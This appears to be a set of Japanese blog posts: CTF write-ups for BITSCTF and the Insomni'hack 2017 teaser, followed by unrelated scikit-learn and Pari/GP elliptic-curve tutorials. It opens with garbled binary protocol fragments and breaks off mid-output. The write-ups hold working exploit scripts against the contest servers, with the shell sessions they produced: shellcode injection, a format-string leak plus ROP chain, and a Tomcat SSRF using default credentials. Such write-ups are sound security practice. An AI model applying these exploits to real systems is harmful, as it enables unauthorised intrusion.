m $Version 1,0091|$GetNickList|$MyINFO $ALL codelec <EiskaltDC++ V:2.2.9,M:A,H:0/1/0,S:3>$ $100 KiB/s
$$14$|
f>$ZOn|x
R|(
u=Vj
f{$ZOn|x
,Q/VHT
aVFzFz
Command_Line (Pwn 20)
スタックバッファオーバーフロー脆弱性がある。 バッファのアドレスが出力される、かつNXが無効なので、シェルコードを置いてジャンプさせることでシェルが起動できる。
from minipwn import *
#s = connect_process(['stdbuf', '-o0', './pwn1'])
s = socket.create_connection(('bitsctf.bits-quark.org', 1330))
data = recvline(s)
addr_buf = int(data, 16)
print "[+] addr_buf = %x" % addr_buf
buf = 'A' * 24
buf += p64(addr_buf+32)
buf += shellcode['x64']
sendline(s, buf)
interact(s)
$ python test.py
[+] addr_buf = 7fffffffe620
id
uid=1000(user1) gid=1000(user1) groups=1000(user1)
ls
flag
nohup.out
pwn1
cat flag
BITSCTF{b451c_57r416h7_f0rw4rd_5h3llc0d1n6}
Random Game (Pwn 30)
srand(time(0))で初期化された疑似乱数の出力を推測する問題。
同じ条件で乱数を出力するC言語コードを書き、同時刻に実行されるようにする。
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main()
{
srand(time(0));
for (int i=0; i<100; i++) {
printf("%d\n", rand()&0xf);
fflush(stdout);
}
return 0;
}
from minipwn import *
s = socket.create_connection(('bitsctf.bits-quark.org', 1337))
p = connect_process(['./a.out'])
while True:
line = recvline(p)
msg = s.recv(8192)
if not msg:
break
print "%r" % msg
s.sendall(line)
interact(s)
$ gcc test.c
$ python test.py
'your number for 1 round : '
'your number for 2 round : '
'your number for 3 round : '
'your number for 4 round : '
'your number for 5 round : '
'your number for 6 round : '
'your number for 7 round : '
'your number for 8 round : '
'your number for 9 round : '
'your number for 10 round : '
'your number for 11 round : '
'your number for 12 round : '
'your number for 13 round : '
'your number for 14 round : '
'your number for 15 round : '
'your number for 16 round : '
'your number for 17 round : '
'your number for 18 round : '
'your number for 19 round : '
'your number for 20 round : '
'your number for 21 round : '
'your number for 22 round : '
'your number for 23 round : '
'your number for 24 round : '
'your number for 25 round : '
'your number for 26 round : '
'your number for 27 round : '
'your number for 28 round : '
'your number for 29 round : '
'your number for 30 round : '
'congrats you are rewarded with the flag BITSCTF{54m3_533d_54m3_53qu3nc\n'
*** Connection closed by remote host ***
フラグが切れていてこのままでは通らなかったが、same_seed_same_sequenceのleetと推測して補完したところ通った。
BITSCTF{54m3_533d_54m3_53qu3nc3}
所感
解けなかった問題は以下。
- Showcasing the admin (Web 80)
- Good Samaritan (Misc 50)
- Enjoy the music (Misc 60)
- fanfie (Crypto 20)
- Enigma (Crypto 30)
- flagception (Forensics 30)
- Tom and Jerry (Forensics 50)
- Woodstock-2 (Forensics 55)
- Gh0st in the machine (Forensics 60)
- Remember me (Forensics 60)
関連リンク
scikit-learnでt-SNE散布図を描いてみる
「scikit-learnでPCA散布図を描いてみる」では、scikit-learnを使ってPCA散布図を描いた。 ここでは、scikit-learnを使って非線形次元削減手法のひとつt-SNEで次元削減を行い、散布図を描いてみる。
環境
「scikit-learnでPCA散布図を描いてみる」を参照。
MNISTデータセットとPCA散布図
MNISTデータセットは0から9の手書き数字を表す8x8グレイスケール画像のデータセットであり、irisに並んで有名なサンプルデータセットである。
このデータセットについてPCA散布図を描いてみると次のようになる。
%matplotlib inline import matplotlib.pyplot as plt from sklearn import datasets from sklearn.decomposition import PCA digits = datasets.load_digits() print digits.data.shape # (1797, 64) print digits.target.shape # (1797,) X_reduced = PCA(n_components=2).fit_transform(digits.data) print X_reduced.shape # (1797, 2) plt.scatter(X_reduced[:, 0], X_reduced[:, 1], c=digits.target) plt.colorbar() # <matplotlib.colorbar.Colorbar at 0x7f880818e6d0>
PCA散布図はデータのばらつきをプロットするにはよいが、次元削減により主成分ベクトルが作る線形空間での近似となるため、PCAが仮定している多次元正規分布から大きく離れた分布に従うデータでは高次元の特徴量が持っていた情報の多くが失われてしまう。 このようなデータに対しては非線形次元削減あるいは多様体学習と呼ばれる手法を用いることで、高次元空間における距離をもとにした次元削減を行うことができる。 いくつかの手法の概要をまとめると次のようになる。
- Locally Linear Embedding (LLE): データポイント近傍での線形性を仮定する
- Spectral Embedding (Laplacian Eigenmaps): 距離の近いデータポイント同士を繋ぐことで得られるグラフ構造を用いる
- Multi-dimensional Scaling (MDS): データポイント間の距離の大小をできるだけ保つ
- t-Distributed Stochastic Neighbor Embedding (t-SNE): データポイント間の類似度を表現する条件付き確率をできるだけ保つ
ここでは、2、3次元への次元削減において高いパフォーマンスを示すt-SNEを用いる。
MNISTデータセットのt-SNE散布図を描いてみる
t-SNEで2次元に次元削減して散布図を描いてみると次のようになる。
%matplotlib inline import matplotlib.pyplot as plt from sklearn import datasets from sklearn.manifold import TSNE digits = datasets.load_digits() print digits.data.shape # (1797, 64) print digits.target.shape # (1797,) X_reduced = TSNE(n_components=2, random_state=0).fit_transform(digits.data) print X_reduced.shape # (1797, 2) plt.scatter(X_reduced[:, 0], X_reduced[:, 1], c=digits.target) plt.colorbar() # <matplotlib.colorbar.Colorbar at 0x7ff21173ee90>
上の結果から、データポイント間の距離をもとに、64次元の特徴量を持つデータを2次元の散布図としてプロットできていることがわかる。
関連リンク
scikit-learnでPCA散布図を描いてみる
高次元の特徴量を持つデータの分布をおおまかに把握する方法として、PCA（主成分分析）で次元削減した後散布図を描く方法がある。 ここでは、Dockerを用いてデータ分析プラットフォームAnaconda環境を構築し、scikit-learnを使ってPCA散布図を描いてみる。
環境
Ubuntu 16.04.1 LTS 64bit版、Docker 1.12.5
$ uname -a Linux vm-ubuntu64 4.4.0-59-generic #80-Ubuntu SMP Fri Jan 6 17:47:47 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 16.04.1 LTS Release: 16.04 Codename: xenial $ docker --version Docker version 1.12.5, build 7392c3b
DockerでAnaconda環境を構築する
Anacondaはデータ分析・機械学習に特化したPythonディストリビューションであり、Numpy、Scipy、Matplotlib、Sympy、scikit-learn、pandasなどのライブラリやブラウザ上から対話的なスクリプト実行、プロット表示が行えるJupyter Notebookが標準でインストールされている。 今回はscikit-learnとMatplotlibしか使わないが、Jupyter Notebookを利用することでプロット結果の確認が簡単になるため、Anacondaを利用することにする。
Anacondaは公式でDockerイメージを提供しており、これを利用すると簡単に環境を構築することができる。
- Anaconda and Docker - Better Together for Reproducible Data Science | Continuum
- continuumio/anaconda - Docker Hub
$ docker pull continuumio/anaconda Using default tag: latest latest: Pulling from continuumio/anaconda 8ad8b3f87b37: Pull complete fa2bdab78aa4: Pull complete 074a37ca9de6: Pull complete 751e84aa2169: Pull complete Digest: sha256:6e2b524bce61a32b1a85bb4fc88ba8f2079e3b41d8b324250a3be35c45d7d9ee Status: Downloaded newer image for continuumio/anaconda:latest $ docker run -i -t -p 8888:8888 continuumio/anaconda /bin/bash -c "/opt/conda/bin/conda install jupyter -y --quiet && mkdir /opt/notebooks && /opt/conda/bin/jupyter notebook --notebook-dir=/opt/notebooks --ip='*' --port=8888 --no-browser"
サーバが起動したら、ブラウザからhttp://[host ip address]:8888/を開くことでJupyter Notebookにアクセスできる。
irisデータセットのPCA散布図を描いてみる
PCA（Principal Component Analysis; 主成分分析）は、高次元の特徴量を持つデータについて、元のデータのばらつきをよく表す低次元の合成変数を得る手法である。
ここでは分析対象として、有名なサンプルデータセットであるirisを用いることにする。
上の例を参考に、PCAで2次元に次元削減して散布図を描いてみると次のようになる。
%matplotlib inline import matplotlib.pyplot as plt from sklearn import datasets from sklearn.decomposition import PCA iris = datasets.load_iris() print iris.data.shape # (150, 4) print iris.target """ [0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2] """ X_reduced = PCA(n_components=2).fit_transform(iris.data) print X_reduced.shape # (150, 2) plt.scatter(X_reduced[:, 0], X_reduced[:, 1], c=iris.target) # <matplotlib.collections.PathCollection at 0x7f5d087be4d0>
上の結果から、4次元の特徴量を持つデータを2次元の散布図としてプロットできていることがわかる。
Insomni'hack teaser 2017 供養（Writeup）
Insomni'hack teaser 2017に参加。250ptで93位。
baby (Pwn 50)
NX、PIE、FullRELROが有効なx86-64 ELF。
# file baby baby: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, not stripped # gdb -q ./baby Reading symbols from ./baby...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : ENABLED RELRO : FULL
TCP 1337で接続を待ち受けるfork server型になっており、
- Stack buffer overflow
- Format string bug
- Heap overflow
が自由に起こせるようになっている。
Format string bugでcanaryや実行ファイル、libcのベースアドレスをリークした後、Stack buffer overflowからROPして解いた。 libcのベースアドレスはmain関数からのリターンアドレスを使って計算することができる。
from minipwn import *
def stack_overflow(s, buf):
print recvuntil(s, '> ')
sendline(s, '1')
print recvuntil(s, '? ')
sendline(s, str(len(buf)+1))
sendline(s, buf)
print recvline(s)
def format_string(s, buf):
print recvuntil(s, '> ')
sendline(s, '2')
print recvuntil(s, '> ')
sendline(s, buf)
data = recvline(s)
print recvuntil(s, '> ')
sendline(s, '')
return data
#s = socket.create_connection(('localhost', 1337))
s = socket.create_connection(('baby.teaser.insomnihack.ch', 1337))
data = format_string(s, '%138$p.%139$p.%140$p.%158$p')
addrs = [int(x,16) for x in data.split('.')]
canary, saved_ebp, bin_base, libc_base = addrs[0], addrs[1], addrs[2]-0x19cf, addrs[3]-0x20830
print "[+] canary = %x" % canary
print "[+] saved_ebp = %x" % saved_ebp
print "[+] bin_base = %x" % bin_base
print "[+] libc_base = %x" % libc_base
addr_bss = bin_base + 0x0000000000203010
addr_csu_init1 = bin_base + 0x1c7e
addr_csu_init2 = bin_base + 0x1c68
addr_pop_rdi = bin_base + 0x1c8b
got_recv = bin_base + 0x202eb8
#libc_system = libc_base + 0x0000000000045380
#addr_pop_rcx = libc_base + 0x00050233
libc_system = libc_base + 0x0000000000045390
addr_pop_rcx = libc_base + 0x000fc3e2
buf = 'A' * 0x408
buf += p64(canary)
buf += 'BBBBBBBB'
buf += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, got_recv, 16, addr_bss, 4)
buf += p64(addr_pop_rcx) + p64(0)
buf += struct.pack('<QQQQQQQQ', addr_csu_init2, 0, 0, 1, 0, 0, 0, 0)
buf += p64(addr_pop_rdi) + p64(addr_bss)
buf += p64(libc_system)
stack_overflow(s, buf)
s.sendall('/bin/sh <&4 >&4\x00')
print "[+] got a shell!"
interact(s)
$ python test.py
Welcome to baby's first pwn.
Pick your favorite vuln :
1. Stack overflow
2. Format string
3. Heap Overflow
4. Exit
Your choice >
Simply type '\n' to return
Your format >
Your format >
[+] canary = 7971cd723454900
[+] saved_ebp = 7ffe526fc540
[+] bin_base = 55f1410d6000
[+] libc_base = 7f129d29e000
Welcome to baby's first pwn.
Pick your favorite vuln :
1. Stack overflow
2. Format string
3. Heap Overflow
4. Exit
Your choice >
How much bytes you want to send ?
Good luck !
[+] got a shell!
id
uid=1001(baby) gid=1001(baby) groups=1001(baby)
ls
baby
flag
cat flag
INS{if_you_haven't_solve_it_with_the_heap_overflow_you're_a_baby!}
cryptoquizz (Misc/Crypto 50)
ランダムに与えられる暗号学者の生年を答える問題。 100回繋いでリストを作り、それぞれ対応するWikipediaのページから特定できるものを補完。 残りは人力でGoogle検索して埋めた。
from minipwn import *
data = """Arjen K. Lenstra [1956]
Lars Knudsen [1962]
Xuejia Lai [1954]
Daniel Bleichenbacher [1964]
Douglas Stinson [1956]
Claus-Peter Schnorr [1943]
Niels Ferguson [1965]
Yvo Desmedt [1956]
Ron Rivest [1947]
Antoine Joux [1967]
Michael O. Rabin [1931]
Jim Massey [1934]
Markus Jakobsson [1968]
Martin Hellman [1945]
Alex Biryukov [1969]
Yehuda Lindell [1971]
Joan Daemen [1965]
Horst Feistel [1915]
Kaisa Nyberg [1948]
Ralph Merkle [1952]
Paul Kocher [1973]
Paulo Barreto [1965]
Whitfield Diffie [1944]
Mitsuru Matsui [1961]
David Naccache [1967]
Phil Rogaway [1962]
Eli Biham [1960]
Adi Shamir [1952]
Ronald Cramer [1968]
Shai Halevi [1966]
Donald Davies [1924]
Moni Naor [1961]
Jacques Stern [1949]
Amos Fiat [1956]
Victor S. Miller [1947]
Paul van Oorschot [1962]
Nigel P. Smart [1967]
Serge Vaudenay [1968]
Ross Anderson [1956]
Dan Boneh [1969]
Jacques Patarin [1965]
Rafail Ostrovsky [1963]
Daniel J. Bernstein [1971]
Tatsuaki Okamoto [1952]
"""
birth_year = {}
for line in data.splitlines():
name, birth = line[:-1].split(' [')
birth_year[name] = birth
s = socket.create_connection(('quizz.teaser.insomnihack.ch', 1031))
print s.recv(8192)
while True:
data = s.recv(8192)
if not data:
break
m = re.search(r'~~ What is the birth year of (.+?) \?', data)
if m:
name = m.group(1)
print name, birth_year[name]
sendline(s, birth_year[name])
else:
print data
s.close()
$ python test.py
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~ Hello, young hacker. Are you ready to fight rogue machines ? ~~
~~ Now, you'll have to prove us that you are a genuine ~~
~~ cryptographer. ~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Douglas Stinson 1956
Whitfield Diffie 1944
Lars Knudsen 1962
Antoine Joux 1967
David Naccache 1967
Donald Davies 1924
Jacques Stern 1949
Serge Vaudenay 1968
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~ OK, young hacker. You are now considered to be a ~~
~~ INS{GENUINE_CRYPTOGRAPHER_BUT_NOT_YET_A_PROVEN_SKILLED_ONE} ~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
bender_safe (Reverse 50)
MIPS ELF。
# file bender_safe bender_safe: ELF 32-bit MSB executable, MIPS, MIPS-II version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=76438e9ed749bcfc6e191e548da153d0d3b3ee28, not stripped
16文字のチャレンジ文字列から計算される8文字のレスポンスを答える問題。 QEMUベースの高機能トレーサーqiraでトレースしながら、一文字ずつ計算式をリバーシングした。
下の図は3文字目の判定に失敗したあたりを見ているところ。 左側のレジスタ値とメモリのスナップショットを見ながら、右側のグラフでどのように比較される値が計算されているかを調べる。
from minipwn import *
#s = socket.create_connection(('localhost', 4000))
s = socket.create_connection(('bender_safe.teaser.insomnihack.ch', 31337))
print recvuntil(s, '\n')
print recvuntil(s, '\n')
otp = recvuntil(s, '\n')
print otp
table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\x00\x00\x00\x00-------------------------------'
buf = otp[0x0]
buf += otp[0xf]
buf += chr(ord(otp[0x7]) ^ (-0x5a) ^ (-0x67) ^ 0x7f) if ord(otp[0x7]) < 0x41 else chr(ord(otp[0x7]) ^ 0x4b ^ 0x61 ^ 0xa)
buf += table[table.index(otp[0x3]) - 0xa] if ord(otp[0x3]) < 0x41 else table[table.index(otp[0x3]) + 0xa]
buf += table[table.index(otp[0x4]) - 0xa] if ord(otp[0x4]) < 0x41 else table[table.index(otp[0x4]) + 0xa]
buf += table[abs(ord(otp[1])-ord(otp[2])) % 0x23]
buf += table[abs(ord(otp[5])-ord(otp[6])) % 0x23]
buf += chr(ord(otp[0x8]) ^ (-0x5a) ^ (-0x67) ^ 0x7f) if ord(otp[0x8]) < 0x41 else chr(ord(otp[0x8]) ^ 0x4b ^ 0x61 ^ 0xa)
sendline(s, buf)
interact(s)
$ python test.py
Welcome to Bender's passwords storage service
Here's your OTP challenge :
5FKU25OCL8GMEZZB
_
( )
H
H
_H_
.-'-.-'-.
/ \
| |
| .-------'._
| / / '.' '. \
| \ \ @ @ / /
| '---------'
| _______|
| .'-+-+-+|
| '.-+-+-+| INS{Angr_is_great!_Oh_angr_is_great!_Angr_angr_angr}
| """""" |
'-.__ __.-'
"""
This is Bender's password vault storage
I have 54043195528445952 bytes of memory for storage!
Although 54043195528444928 of which is used to store my fembots videos...HiHiHi!
Your passwords are safe with me meatbag!
-------------------------------
| |
| 1. View passwords |
| 2. Enter new passwords |
| 3. View admin password |
| 4. Exit |
| |
-------------------------------
4
*** Connection closed by remote host ***
angrを使ったほうがよかったかもしれない。
smarttomcat (Web 50)
パラメータで与えられたURLにアクセスするスクリプトが置かれたウェブサイト。 Tomcat Manager（http://localhost:8080/manager/html）にアクセスさせるようにすると、401 Unauthorizedエラーが返ってくる。 デフォルトの設定ファイルでコメントアウトされているアカウント情報でBasic認証の突破を試みると、フラグが得られた。
$ curl -v 'http://smarttomcat.teaser.insomnihack.ch/index.php' --data 'u=http%3A%2F%2Ftomcat%3Atomcat%40localhost%3A8080%2Fmanager%2Fhtml'
* Trying 54.229.3.101...
* Connected to smarttomcat.teaser.insomnihack.ch (54.229.3.101) port 80 (#0)
> POST /index.php HTTP/1.1
> Host: smarttomcat.teaser.insomnihack.ch
> User-Agent: curl/7.47.0
> Accept: */*
> Content-Length: 66
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 66 out of 66 bytes
< HTTP/1.1 200 OK
< Date: Sun, 22 Jan 2017 08:41:27 GMT
< Content-Type: text/html; charset=UTF-8
< Content-Length: 91
< Connection: keep-alive
< Server: Apache/2.4.18 (Ubuntu)
< Vary: User-Agent,Accept-Encoding
<
We won't give you the manager, but you can have the flag : INS{th1s_is_re4l_w0rld_pent3st}
* Connection #0 to host smarttomcat.teaser.insomnihack.ch left intact
The Great Escape - part 1 (Forensics 50)
pcapng形式のパケットキャプチャファイルが与えられる。 Wiresharkで開くと、FTPでssc.keyというファイル名で秘密鍵が転送されていることがわかる。
$ strings -n8 TheGreatEscape-3859f9ed7682e1857aaa4f2bcb5867ea6fe88c74.pcapng | awk '/-----BEGIN PRIVATE KEY-----/,/-----END PRIVATE KEY-----/' -----BEGIN PRIVATE KEY----- MIIJQwIBADANBgkqhkiG9w0BAQEFAASCCS0wggkpAgEAAoICAQC5twyPH+2U6X0Q uxOKPTHSR6MkXGSvAz+Ax+G9DKEiBLuTTfl7dNv4oswdmT9nWlSY1kxZatNwlUF8 WAuGLntO5xTEmOJlMtBFrWGD+DVpCE9KORGvyif8e4xxi6vh4mkW78IxV03VxHM0 mk/cq5kkERfWQW81pVeYm9UAm4dj+LcCwQ9aGd/vfTtcACqS5OGtELFbsHJuFVyn (snip) -----END PRIVATE KEY----- (snip)
この鍵がssc.teaser.insomnihack.chのサーバ鍵であると推測し、Wiresharkに52.214.142.175, 443, httpでssc.keyを追加してHTTPS通信の復号を試みたところ復号できた。
ログイン後のHTTPヘッダにフラグがある。
Frame 2236: 646 bytes on wire (5168 bits), 646 bytes captured (5168 bits) on interface 0
Linux cooked capture
Internet Protocol Version 4, Src: 172.31.36.141, Dst: 52.214.142.175
Transmission Control Protocol, Src Port: 51398, Dst Port: 443, Seq: 569, Ack: 153, Len: 578
Secure Sockets Layer
[2 Reassembled SSL segments (523 bytes): #2236(1), #2236(522)]
Hypertext Transfer Protocol
POST /api/user.php HTTP/1.1\r\n
Host: ssc.teaser.insomnihack.ch\r\n
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0\r\n
Accept: application/json, text/plain, */*\r\n
Accept-Language: en-US,en;q=0.5\r\n
Accept-Encoding: gzip, deflate, br\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Referer: https://ssc.teaser.insomnihack.ch/login\r\n
Content-Length: 38\r\n
Cookie: PHPSESSID=3u5dqmfudc7ap1di0nmfjgtjm3\r\n
FLAG: INS{OkThatWasWay2Easy}\r\n
Connection: keep-alive\r\n
\r\n
[Full request URI: https://ssc.teaser.insomnihack.ch/api/user.php]
[HTTP request 1/6]
[Response in frame: 2247]
[Next request in frame: 2248]
File Data: 38 bytes
HTML Form URL Encoded: application/x-www-form-urlencoded
Form item: "action" = "login"
Form item: "name" = "rogue"
Form item: "password" = "rogue"
所感
50pt問題しか解くことができず厳しかった。 他に解きたかった問題は以下。
- The Great Escape - part 2 (Web 200)
- Shobot (Web 200)
- mindreader (Mobile 250)
Pari/GPで楕円曲線離散対数を計算してみる
「Pari/GPでECDH鍵交換、ECDSA署名をやってみる」では、数式処理システムPari/GPを使ってECDH鍵交換、ECDSA署名の計算を行った。 これらの楕円曲線暗号は、楕円曲線離散対数問題（ECDLP）と呼ばれる問題が計算量的に困難であることを安全性の根拠としている。 ここでは、実際にbit数の小さな楕円曲線に対して楕円曲線離散対数を計算し、簡単に解けるbit数がどのくらいか調べてみる。
環境
Ubuntu 16.04.1 LTS 64bit版、Pari/GP 2.7.5、Intel Core i5-4200U (1.6GHz * 2 * 2)
$ uname -a Linux vm-ubuntu64 4.4.0-59-generic #80-Ubuntu SMP Fri Jan 6 17:47:47 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 16.04.1 LTS Release: 16.04 Codename: xenial $ gp --version-short 2.7.5 $ grep "processor\|model name" /proc/cpuinfo processor : 0 model name : Intel(R) Core(TM) i5-4200U CPU @ 1.60GHz processor : 1 model name : Intel(R) Core(TM) i5-4200U CPU @ 1.60GHz processor : 2 model name : Intel(R) Core(TM) i5-4200U CPU @ 1.60GHz processor : 3 model name : Intel(R) Core(TM) i5-4200U CPU @ 1.60GHz
楕円曲線離散対数問題（Elliptic Curve Discrete Logarithm Problem; ECDLP）
楕円曲線離散対数問題とは、有限体（mod p）上で定義した楕円曲線上の点G（生成元）と点Pについて、次の式を満たすnを求めるという問題である。
P = n * G
ここで、記号*は楕円曲線におけるスカラー倍を表す。
通常の（mod p上での）離散対数が乗法群の上で定義されるのに対し、楕円曲線の場合は加法群の上で定義されるため、計算としてはスカラー倍ではあるがアナロジー的に離散対数と呼ばれる。
通常の離散対数問題と同様に、楕円曲線離散対数問題を効率的に解く方法は見つかっておらず、十分大きなpをとったときこの計算を現実的な時間で行うことは難しいとされている。 NISTによる等価安全性の評価では、160bitの楕円曲線離散対数問題が1024bitの素因数分解問題に相当するとされており、小さな数でより安全な暗号を構成することができる。
Pari/GPにおける楕円曲線離散対数アルゴリズムの実装
Pari/GPでは、有限体上での楕円曲線に関するさまざまな関数が実装されており、離散対数はelllog関数で求めることができる。
ドキュメントには具体的な計算アルゴリズムが書かれていないため、その詳細をソースコードを追って調べると次のようになる。
6457 GEN
6458 elllog(GEN E, GEN a, GEN g, GEN o)
6459 {
6460 pari_sp av = avma;
6461 GEN fg, r;
6462 checkell_Fq(E); checkellpt(a); checkellpt(g);
6463 fg = ellff_get_field(E);
6464 if (!o) o = ellff_get_o(E);
6465 if (typ(fg)==t_FFELT)
6466 r = FF_elllog(E, a, g, o);
6467 else
6468 {
6469 GEN p = fg, e = ellff_get_a4a6(E);
6470 GEN Pp = FpE_changepointinv(RgE_to_FpE(a,p), gel(e,3), p);
6471 GEN Qp = FpE_changepointinv(RgE_to_FpE(g,p), gel(e,3), p);
6472 r = FpE_log(Pp, Qp, o, gel(e,1), p);
6473 }
6474 return gerepileuptoint(av, r);
6475 }
1426 GEN
1427 FF_elllog(GEN E, GEN P, GEN Q, GEN o)
1428 {
1429 pari_sp av = avma;
1430 GEN fg = ellff_get_field(E), e = ellff_get_a4a6(E);
1431 GEN r,T,p, Pp,Qp, e3;
1432 ulong pp;
1433 _getFF(fg,&T,&p,&pp);
1434 switch(fg[1])
1435 {
1436 case t_FF_FpXQ:
1437 e3 = FqV_to_FpXQV(gel(e,3),T);
1438 Pp = FpXQE_changepointinv(RgE_to_FpXQE(P,T,p), e3, T, p);
1439 Qp = FpXQE_changepointinv(RgE_to_FpXQE(Q,T,p), e3, T, p);
1440 r = FpXQE_log(Pp, Qp, o, gel(e,1), T, p);
1441 break;
1442 case t_FF_F2xq:
1443 Pp = F2xqE_changepointinv(RgE_to_F2xqE(P,T), gel(e,3), T);
1444 Qp = F2xqE_changepointinv(RgE_to_F2xqE(Q,T), gel(e,3), T);
1445 r = F2xqE_log(Pp, Qp, o, gel(e,1), T);
1446 break;
1447 default:
1448 Pp = FlxqE_changepointinv(RgE_to_FlxqE(P,T,pp), gel(e,3), T, pp);
1449 Qp = FlxqE_changepointinv(RgE_to_FlxqE(Q,T,pp), gel(e,3), T, pp);
1450 r = FlxqE_log(Pp, Qp, o, gel(e,1), T, pp);
1451 }
1452 return gerepileupto(av, r);
1453 }
1516 GEN
1517 FpXQE_log(GEN a, GEN b, GEN o, GEN a4, GEN T, GEN p)
1518 {
1519 pari_sp av = avma;
1520 struct _FpXQE e;
1521 e.a4=a4; e.T=T; e.p=p;
1522 return gerepileuptoint(av, gen_PH_log(a, b, o, (void*)&e, &FpXQE_group));
1523 }
577 /* grp->easylog() is an optional trapdoor function that catch easy logarithms*/
578 /* Generic Pohlig-Hellman discrete logarithm*/
579 /* smallest integer n such that g^n=a. Assume g has order ord */
580 GEN
581 gen_PH_log(GEN a, GEN g, GEN ord, void *E, const struct bb_group *grp)
582 {
...
602 for (i=1; i<l; i++)
603 {
...
623 for (j=0;; j++)
624 { /* n_q = sum_{i<j} b_i q^i */
625 b = grp->pow(E,a0, gel(qj,e-j));
626 /* early abort: cheap and very effective */
627 if (j == 0 && !grp->equal1(grp->pow(E,b,q))) {
628 avma = av; return cgetg(1, t_VEC);
629 }
630 b = gen_plog(b, g_q, q, E, grp);
631 if (typ(b) != t_INT) { avma = av; return cgetg(1, t_VEC); }
632 n_q = addii(n_q, mulii(b, gel(qj,j)));
633 if (j == e) break;
634
635 a0 = grp->mul(E,a0, grp->pow(E,ginv0, b));
636 ginv0 = grp->pow(E,ginv0, q);
637 }
638 gel(v,i) = mkintmod(n_q, gel(qj,e+1));
639 }
640 return gerepileuptoint(av, lift(chinese1_coprime_Z(v)));
641 }
520 /*Generic discrete logarithme in a group of prime order p*/
521 GEN
522 gen_plog(GEN x, GEN g, GEN p, void *E, const struct bb_group *grp)
523 {
524 if (grp->easylog)
525 {
526 GEN e = grp->easylog(E, x, g, p);
527 if (e) return e;
528 }
529 if (grp->equal1(x)) return gen_0;
530 if (grp->equal(x,g)) return gen_1;
531 if (expi(p)<32) return gen_Shanks_log(x,g,p,E,grp);
532 return gen_Pollard_log(x, g, p, E, grp);
533 }
要約すると次のようになる。
- Pohlig-Hellmanアルゴリズムで位数の素因数ごとに分解
- それぞれの素因数について、232未満ならBaby-step Giant-stepアルゴリズム、232以上ならPollard’s Rhoアルゴリズムで解く
Pohlig-Hellmanアルゴリズムは、中国の剰余定理を使って計算を高速化するものである。 RSAにおける中国の剰余定理の利用をイメージすると理解しやすい。
Pari/GPで楕円曲線離散対数を計算してみる
ここでは、楕円曲線として次の曲線を考える。
(from Wikimedia Commons)
32 bitの素数pをとって計算してみると次のようになる。
$ gp -q ? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^32))); ? factor(E.no) [ 2 4] [ 7 1] [ 587 1] [65327 1] ? G = E.gen[1]; ? P = ellpow(E, G, 17320508); ? elllog(E, P, G) 17320508 ? ## *** last result computed in 0 ms.
ここで、E.noは楕円曲線の位数、E.genはその位数となる生成元を意味する。
上の結果から、正しく楕円曲線離散対数が計算できていることがわかる。
続けて、bit数を徐々に大きくして計算してみる。
? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^64))); ? factor(E.no) [ 2 3] [ 324301 1] [7110193951261 1] ? G = E.gen[1]; ? P = ellpow(E, G, 17320508); ? elllog(E, P, G) 17320508 ? ## *** last result computed in 40,868 ms. ? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^72))); ? factor(E.no) [ 2 1] [ 3 3] [ 13 1] [ 37 1] [ 1181 1] [153946902119671 1] ? G = E.gen[1]; ? P = ellpow(E, G, 17320508); ? elllog(E, P, G) 17320508 ? ## *** last result computed in 2min, 40,652 ms. ? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^80))); ? factor(E.no) [ 2 2] [ 3 1] [ 11 1] [ 31 1] [ 25111 1] [11765219119332439 1] ? G = E.gen[1]; ? P = ellpow(E, G, 17320508); ? elllog(E, P, G) 17320508 ? ## *** last result computed in 6min, 3,176 ms. ? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^88))); ? factor(E.no) [ 3 2] [ 63445780987 1] [541993853311213 1] ? G = E.gen[1]; ? P = ellpow(E, G, 17320508); ? elllog(E, P, G) 17320508 ? ## *** last result computed in 2min, 10,601 ms. ? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^96))); ? factor(E.no) [ 2 4] [ 5 2] [ 7 2] [ 79 1] [ 4227397 1] [12103845910958041 1] ? G = E.gen[1]; ? P = ellpow(E, G, 17320508); ? elllog(E, P, G) 17320508 ? ## *** last result computed in 14min, 24,428 ms. ? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^104))); ? factor(E.no) [ 2 1] [ 5 1] [ 53 